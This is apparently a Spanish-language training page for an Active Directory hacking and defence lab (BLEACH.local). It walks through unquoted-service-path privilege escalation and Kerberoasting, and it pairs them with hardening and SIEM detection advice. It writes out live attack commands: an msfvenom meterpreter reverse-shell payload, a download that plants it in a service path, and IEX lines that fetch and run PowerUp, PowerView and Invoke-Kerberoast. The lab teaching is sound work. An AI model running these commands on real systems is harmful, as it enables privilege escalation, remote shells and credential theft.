Active Directory Hacking & Defense Lab (BLEACH.local)
Hacking & Pentesting en Active Directory
Entorno de laboratorio enfocado en el dominio corporativo BLEACH.local. Simulación de vectores de intrusión, escalada de privilegios local, volcado de credenciales en memoria y abuso de protocolos de autenticación en infraestructuras Windows Server.
💼 Contexto Profesional y Propósito del Curso
El hacking en Active Directory constituye una de las disciplinas más críticas y demandadas en el ecosistema corporativo actual. Más del 90% de las empresas que componen la lista Fortune 1000 basan su gestión de identidades, autenticación y gobernanza de accesos en entornos de Active Directory Domain Services (AD DS).
Tanto en auditorías de seguridad ofensiva (Red Teaming, pruebas de penetración internas) como en operaciones defensivas (Blue Teaming, detección de amenazas, respuesta a incidentes e ingeniería de detección), dominar los vectores de compromiso de AD resulta esencial.
[!IMPORTANT]
Enfoque de Seguridad Integral: Este material formativo y las prácticas asociadas están estructurados bajo una óptica de defensa en profundidad. Analizar las técnicas ofensivas de los adversarios es el paso indispensable para identificar configuraciones erróneas, auditar permisos excesivos, desplegar reglas de monitorización y mitigar las brechas antes de que puedan ser explotadas.
🗂️ Diapositivas y Programa del Curso (10 Días)
A continuación dispones del material teórico-práctico en formato PDF organizado en 10 jornadas temáticas intensivas:
📑 Índice de Actividades Prácticas Desarrolladas
🧱 1. LPE (Local Privilege Escalation)
🔐 2. Extracción de Credenciales: LSASS
🧱 LPE: Escalada de Privilegios Local mediante Unquoted Service Paths
La vulnerabilidad conocida como Unquoted Service Path (ruta de servicio no entrecomillada) es una de las debilidades de configuración más recurrentes en sistemas operativos Windows cliente y servidor.
¿Cómo funciona la resolución ambigua de rutas en Windows?
Cuando el Service Control Manager (SCM) de Windows inicia un servicio del sistema, ejecuta el binario especificado en el parámetro ImagePath del registro. Si la ruta absoluta contiene espacios en blanco y no se encuentra encapsulada entre comillas dobles ("), el sistema operativo no puede determinar de forma inequívoca dónde termina el nombre de la carpeta y dónde empieza el nombre del ejecutable.
Ante esta ambigüedad, el intérprete de comandos aplica un mecanismo de búsqueda escalonada hacia atrás, añadiendo la extensión .exe en cada espacio detectado.
Ruta configurada sin comillas: C:\Program Files\My Custom Service\service.exe
Orden de búsqueda ejecutado por el sistema operativo:
C:\Program.exe(Espacio entre Program y Files)C:\Program Files\My.exe(Espacio entre My y Custom)C:\Program Files\My Custom.exe(Espacio entre Custom y Service)C:\Program Files\My Custom Service\service.exe(Ruta legítima final)
¿Por qué representa un riesgo crítico de seguridad?
- Ejecución con privilegios máximos: La inmensa mayoría de servicios de Windows se ejecutan bajo la cuenta
NT AUTHORITY\SYSTEMoLocalSystem. Si un atacante consigue que Windows cargue su ejecutable en lugar del original, su código heredará el nivel más alto de privilegios locales. - No depende de un exploit de kernel: No requiere explotar memoria ni desbordamientos de búfer; se aprovecha estrictamente de una debilidad lógica de configuración y permisos de escritura.
- Persistencia silenciosa: Cada vez que la máquina se reinicie o el servicio se inicie automáticamente, el binario del atacante volverá a ejecutarse.
Detección y Auditoría en Windows (CMD y PowerShell)
Para localizar servicios candidatos en un equipo auditado, se emplea la utilidad nativa WMIC filtrando servicios del sistema y rutas que ya posean comillas:
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
wmic service get name,displayname,pathname,startmode: Extrae del WMI la lista de todos los servicios instalados con su nombre interno, nombre descriptivo, ruta al binario (pathname) y tipo de inicio (Automático, Manual, Deshabilitado).| findstr /i /v "C:\Windows\\": Aplica un filtro de exclusión (/v) que descarta servicios ubicados en la carpeta del sistema Windows, donde los permisos suelen ser seguros y sin espacios.| findstr /i /v """: Filtra y elimina todas las líneas que contengan comillas dobles ("), aislando exclusivamente aquellos servicios con rutas desprotegidas.
De forma complementaria, podemos auditar el sistema mediante PowerShell utilizando el módulo PowerUp (incluido en PowerSploit / Empire):
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1');
Get-ServiceUnquoted -Verbose
⚠️ Consideraciones sobre la ejecución en memoria con IEX
El uso deIEX (New-Object Net.WebClient).DownloadString(...) es una técnica habitual de evaluación en labs controlados para cargar scripts en memoria sin tocar disco. No obstante, en auditorías reales debe verificarse previamente la integridad del código para evitar la ejecución de dependencias de terceros no auditadas.
Prueba de Concepto en el Laboratorio BLEACH.local
En nuestro laboratorio identificamos un software de terceros instalado en la ruta:
C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
Al analizar la ruta, descubrimos que si un usuario con bajos privilegios tiene permisos de escritura en la carpeta C:\Program Files (x86)\IObit\, puede colocar un ejecutable nombrado Advanced.exe. Cuando el servicio se reinicie, Windows intentará ejecutar Advanced.exe antes de acceder a la subcarpeta Advanced SystemCare.
# Generación del binario de diagnóstico en Kali Linux
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.2.6 LPORT=8443 -f exe > shell.exe
# Publicación en servidor HTTP local para transferencia
php -S 0.0.0.0:8080
# Transferencia y colocación estratégica desde el host Windows objetivo
PS C:\Users\jquerito> wget "http://10.0.2.6:8080/shell.exe" -o "C:\Program Files (x86)\IObit\Advanced.exe"
Evidencias y Resultados de la Prueba LPE
Figura 1.1: Identificación del servicio con ImagePath sin comillas en Windows.
Figura 1.2: Ejecución de WMIC y PowerUp Get-ServiceUnquoted en la consola del host.
Figura 1.3: Generación del artefacto ejecutable en el entorno de pruebas de Kali Linux.
Figura 1.4: Descarga del binario y posicionamiento en 'C:\Program Files (x86)\IObit\Advanced.exe'.
Figura 1.5: Intercepción de la llamada del servicio y elevación a permisos de sistema.
Figura 1.6: Confirmación del contexto de seguridad NT AUTHORITY\SYSTEM en la sesión obtenida.
Figura 1.7: Monitorización del proceso del servicio en el Administrador de Tareas.
🛡️ Medidas Defensivas y Hardening frente a Unquoted Service Paths
- Entrecomillar siempre los ImagePath: Asegurar que todas las claves del registro bajo
HKLM\SYSTEM\CurrentControlSet\Services\<NombreServicio>\ImagePathcontengan las comillas reglamentarias:"C:\Program Files (x86)\Vendor\Service.exe". - Principio de Mínimo Privilegio en ACLs del Sistema de Archivos: Auditar periódicamente con
icaclslos permisos de las carpetas bajoC:\yC:\Program Files. Ningún usuario del grupoUsersoAuthenticated Usersdebe tener permisos de escritura ((W)o(M)) en directorios raíz o carpetas intermedias. - Automatización defensiva: Desplegar políticas GPO o scripts de remediación que recorran el registro y añadan comillas automáticamente a cualquier servicio mal configurado.
🎭 Kerberoasting: Abuso de Service Principal Names (SPN) y Cuentas de Servicio
Kerberoasting es una de las técnicas de post-explotación más elegantes y efectivas dentro de un dominio de Active Directory. Su gran ventaja táctica radica en que no requiere explotar ninguna vulnerabilidad de software: abusa del comportamiento legítimo y nativo del protocolo de autenticación Kerberos.
¿Qué es un SPN y por qué importa?
En Active Directory, un Service Principal Name (SPN) es un identificador único que vincula una instancia de un servicio en red (por ejemplo, Microsoft SQL Server, servicios web IIS, Exchange) con una cuenta de usuario específica del dominio bajo la cual corre dicho servicio.
Ejemplos comunes de SPNs registrados:
MSSQLSvc/db01.bleach.local:1433(Servicio de base de datos SQL)HTTP/webportal.bleach.local(Servidor web corporativo)
Por diseño del protocolo Kerberos, cualquier usuario autenticado del dominio (incluso la cuenta con menores privilegios de la organización) tiene derecho a solicitar al Controlador de Dominio (KDC) un ticket de servicio denominado TGS (Ticket Granting Service) para comunicarse con cualquier SPN registrado.
¿Por qué el Ticket TGS permite Cracking Offline?
Cuando el KDC emite el ticket TGS, cifra una parte fundamental del mensaje utilizando la clave derivada de la contraseña de la cuenta de servicio asociada al SPN.
Dado que el atacante recibe este blob cifrado directamente en su sesión, puede extraerlo y llevarlo a su propia máquina para realizar un ataque de diccionario o fuerza bruta offline con herramientas como Hashcat (modo 13100 - Kerberos 5 TGS-REP etype 23).
- Cero interacción con el Dominio: El atacante solo realiza una única petición legítima de ticket TGS al KDC. El proceso de cracking ocurre en su propio hardware (GPU), sin generar bloqueos de cuenta ni alertas por intentos fallidos de autenticación.
- Frecuentes contraseñas débiles: Históricamente, muchas cuentas de servicio de Active Directory son creadas por administradores con contraseñas que nunca expiran y de escasa complejidad para evitar caídas de aplicaciones.
Extracción Automatizada de Tickets con PowerShell
Existen diversos módulos de PowerShell para solicitar los tickets TGS y exportarlos en un formato preparado para su posterior procesamiento:
Método A: Utilizando PowerView
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');
Invoke-Kerberoast
- Consulta mediante LDAP todos los objetos del dominio que tengan el atributo
servicePrincipalNamedefinido y no nulo. - Filtra las cuentas que corresponden a cuentas de usuario (descartando cuentas de equipo que usan contraseñas complejas de 120 caracteres generadas por el sistema).
- Invoca la API de Windows
KerberosRequestorSecurityTokenpara solicitar formalmente los tickets TGS al KDC. - Extrae la sección cifrada del ticket devuelto y la imprime formateada en pantalla.
Método B: Utilizando Empire con formato Hashcat
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');
Invoke-Kerberoast -OutputFormat Hashcat
Al especificar -OutputFormat Hashcat, la salida se estructura directamente con la sintaxis $krb5tgs$23$*... lista para ser guardada en un fichero de texto y pasada a la GPU.
Evidencias del Ataque Kerberoasting
Figura 3.1: Identificación de cuentas con SPN y petición de tickets TGS en BLEACH.local.
Figura 3.2: Volcado del ticket TGS cifrado bajo el algoritmo RC4-HMAC.
Figura 3.3: Extracción estructurada con Invoke-Kerberoast en formato compatible con Hashcat.
🛡️ Estrategias de Mitigación y Detección frente a Kerberoasting
- Implementar Group Managed Service Accounts (gMSA): Las cuentas de servicio administradas por grupo (gMSA) eliminan las contraseñas estáticas gestionadas manualmente. Active Directory rota automáticamente sus claves de 128 caracteres, haciendo matemáticamente inviable el cracking offline.
- Contraseñas de Alta Complejidad (25+ caracteres): Si se deben usar cuentas de usuario convencionales para servicios, exigir contraseñas aleatorias de longitud superior a 25 caracteres que resistan diccionarios y ataques de fuerza bruta.
- Migración a Cifrado AES: Configurar las cuentas de servicio para admitir únicamente cifrado
AES128_HMAC_SHA1yAES256_HMAC_SHA1, deshabilitando el cifrado arcaicoRC4-HMAC(etype 0x17), que resulta mucho más rápido de crackear en GPU. - Detección en SIEM (Event ID 4769): Monitorizar en los Domain Controllers el evento 4769 (A Kerberos service ticket was requested) con tipo de cifrado
Ticket Encryption Type: 0x17solicitado por cuentas de usuario estándar de forma anómala o masiva.
📎 Recursos de Aprendizaje y Referencias Técnicas
Lecturas recomendadas, herramientas de referencia y fuentes técnicas utilizadas para el diseño y auditoría del laboratorio:
-
DeepHacking.tech — Unquoted Service Paths: Privilege Escalation en Windows
Guía completa sobre la explotación de rutas sin comillas y análisis de permisos en servicios. -
El lado del mal (Chema Alonso) — Cómo extraer credenciales de Windows
Explicación detallada de los mecanismos de almacenamiento de credenciales en memoria, SAM y LSASS. -
Red Canary Threat Detection Report — Sub-technique T1003.001: LSASS Memory
Telemetría y firmas de detección para identificar accesos anómalos a la memoria de LSASS. -
PowerSploit / PowerView (GitHub Oficial)
Framework de PowerShell para auditoría y reconocimiento de entornos Active Directory. -
Empire Project (GitHub)
Plataforma de post-explotación y módulos avanzados de Kerberoasting y recolección de credenciales.
![Keramon [Child / Virus] Keramon](/blog/img/digimon-pets/keramon.gif)